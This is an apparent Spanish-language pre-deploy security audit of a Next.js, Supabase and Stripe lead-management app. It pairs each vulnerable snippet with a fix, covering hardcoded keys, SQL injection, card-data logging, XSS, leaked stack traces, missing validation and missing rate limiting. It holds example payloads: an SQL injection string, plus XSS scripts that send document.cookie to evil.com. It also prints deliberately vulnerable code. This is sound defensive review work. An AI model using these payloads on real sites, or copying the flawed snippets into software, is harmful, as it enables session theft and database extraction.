LeadFlow SaaS — Revisión Pre-Deploy · Next.js 14 + Supabase + Stripe
Se encontraron 2 secretos de producción hardcodeados directamente en el código fuente: la API key de OpenAI (sk-proj-abc123...) y la clave live de Stripe (sk_live_supersecreto...). Cualquier persona con acceso al repositorio puede extraer estas credenciales y hacer cargos o llamadas a la API a costa del cliente.
// leads/route.ts
const OPENAI_KEY = "sk-proj-abc123xyz789"
// payments/route.ts
const stripe = new Stripe(
"sk_live_supersecreto_abc123",
{ apiVersion: '2023-10-16' }
)
// .env.local
OPENAI_API_KEY=sk-proj-...
STRIPE_SECRET_KEY=sk_live_...
// leads/route.ts
const openaiKey = process.env.OPENAI_API_KEY
if (!openaiKey) throw new Error(
'OPENAI_API_KEY not configured'
)
// payments/route.ts
const stripe = new Stripe(
process.env.STRIPE_SECRET_KEY!,
{ apiVersion: '2023-10-16' }
)
1. Revocar AHORA ambas API keys en los paneles de OpenAI y Stripe. 2. Generar nuevas claves. 3. Mover a variables de entorno. 4. Verificar que .env.local está en .gitignore y revisar el historial de Git con git log para asegurarse que no quedaron en commits anteriores.
Las queries SQL usan interpolación directa de strings con datos del usuario. Un atacante puede inyectar SQL malicioso para extraer toda la base de datos, eliminar registros o escalar privilegios. Ejemplo de payload: company = ' OR '1'='1'-- devuelve todos los leads.
// VULNERABLE: interpolación directa
const query = `SELECT * FROM leads
WHERE company = '${company}'`
await db.query(query)
// Payload malicioso:
// company = ' OR '1'='1'--
// Retorna TODOS los registros
// Supabase query builder (seguro)
const { data } = await supabase
.from('leads')
.select('*')
.eq('company', company)
// O raw SQL parameterizado
await db.query(
'SELECT * FROM leads WHERE company = $1',
[company] // parámetro separado
)
Reemplazar todas las queries con interpolación por el query builder de Supabase o queries parametrizadas. Buscar en el codebase todos los template literals con `...${variable}...` en contextos de SQL.
El endpoint de pagos recibe y registra en logs el número de tarjeta completo y el CVV. Esto viola directamente la normativa PCI DSS, puede resultar en multas de hasta €100.000 y suspensión del procesador de pagos. Además, nunca se deben recibir datos de tarjeta en el propio servidor — deben ir directamente a Stripe.
const { amount, cardNumber, cvv }
= await request.json()
// CRÍTICO: nunca loguear esto
console.log('Processing payment:', {
amount,
cardNumber, // VIOLACIÓN PCI
cvv // VIOLACIÓN PCI
})
// Frontend: Stripe Elements maneja
// los datos de tarjeta directamente
// El servidor NUNCA ve la tarjeta
// Backend solo recibe paymentMethodId
const { amount, paymentMethodId }
= await request.json()
// Log seguro (sin datos sensibles)
console.log('Payment initiated:', {
amount,
userId: session.userId
})
Implementar Stripe Elements o Stripe.js en el frontend para que los datos de tarjeta nunca lleguen al servidor. El backend solo recibe paymentMethodId. Eliminar los campos cardNumber y cvv del endpoint.
El dashboard renderiza las notas del lead usando dangerouslySetInnerHTML sin sanitización. Un atacante puede inyectar <script>document.location='https://evil.com/?c='+document.cookie</script> en el campo de notas para robar sesiones de todos los usuarios que vean ese lead.
// Sin sanitizar: XSS directo
<div dangerouslySetInnerHTML={{
__html: userData.notes
}} />
// Payload XSS:
// <script>
// fetch('evil.com/steal?c='
// +document.cookie)
// </script>
import DOMPurify from 'isomorphic-dompurify'
function LeadNotes({ notes }: {notes: string}) {
const clean = DOMPurify.sanitize(notes, {
ALLOWED_TAGS: ['b', 'i', 'em',
'strong', 'p', 'br'],
ALLOWED_ATTR: []
})
return (
<div dangerouslySetInnerHTML={{
__html: clean
}} />
)
}
Instalar isomorphic-dompurify y sanitizar todo HTML de usuario antes de renderizar. Evaluar si el rich HTML es necesario; si no lo es, renderizar como texto plano con {userData.notes} directamente.
En caso de error de autenticación, la API devuelve el mensaje de error interno y el stack trace completo de Supabase al cliente. Esta información revela la estructura interna del sistema, versiones de librerías y rutas de archivos que facilitan ataques dirigidos.
return NextResponse.json(
{
error: user.error?.message,
// NUNCA exponer stack traces
stack: user.error?.stack
},
{ status: 401 }
)
// Log detallado solo en servidor
console.error('Auth error:', user.error)
// Respuesta genérica al cliente
return NextResponse.json(
{
error: 'Credenciales incorrectas'
// Sin stack, sin detalles internos
},
{ status: 401 }
)
Ningún endpoint valida el tipo, formato o longitud de los datos recibidos. Se pueden enviar payloads malformados, campos vacíos, tipos incorrectos o strings excesivamente largos que provoquen errores o corrupción de datos.
// Acepta cualquier cosa
const body = await request.json()
const { name, email, company } = body
// Sin verificar tipos, formatos,
// longitudes ni campos requeridos
await db.query(`INSERT...`)
import { z } from 'zod'
const CreateLeadSchema = z.object({
name: z.string().min(1).max(100),
email: z.string().email(),
company: z.string().min(1).max(200),
notes: z.string().max(5000).optional()
})
const validated = CreateLeadSchema
.parse(await request.json())
// Solo procesar si pasa validación
El middleware existe pero tiene dos TODO sin implementar. Sin rate limiting, el endpoint de login es vulnerable a fuerza bruta. Sin CSRF, atacantes pueden engañar a usuarios autenticados para que ejecuten acciones no deseadas (crear leads, iniciar pagos).
export function middleware(req: Request) {
// TODO: agregar rate limiting
// TODO: agregar CSRF
// Pasa todo sin restricciones
return NextResponse.next()
}
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'
const ratelimit = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(
10, '1 m' // 10 req/minuto
),
})
export async function middleware(req) {
const ip = req.ip ?? '127.0.0.1'
const { success } = await ratelimit
.limit(ip)
if (!success) return new Response(
'Too Many Requests', { status: 429 }
)
return NextResponse.next()
}
Las claves de OpenAI y Stripe están en el código. Si el repo es (o fue) público, están comprometidas. Revocar inmediatamente en los dashboards y generar nuevas antes de cualquier otra acción.
Implementar Stripe Elements en el frontend. El servidor nunca debe recibir datos de tarjeta. Viola PCI DSS y puede resultar en suspensión del procesador.
Reemplazar interpolación de strings en queries por el query builder de Supabase. Instalar DOMPurify y sanitizar el campo notes antes de renderizar.
Implementar schemas de validación con Zod. Cambiar respuestas de error para no exponer detalles internos ni stack traces.
Configurar rate limiting en el middleware con Upstash Redis. Implementar CSRF tokens para operaciones de estado (POST, PUT, DELETE).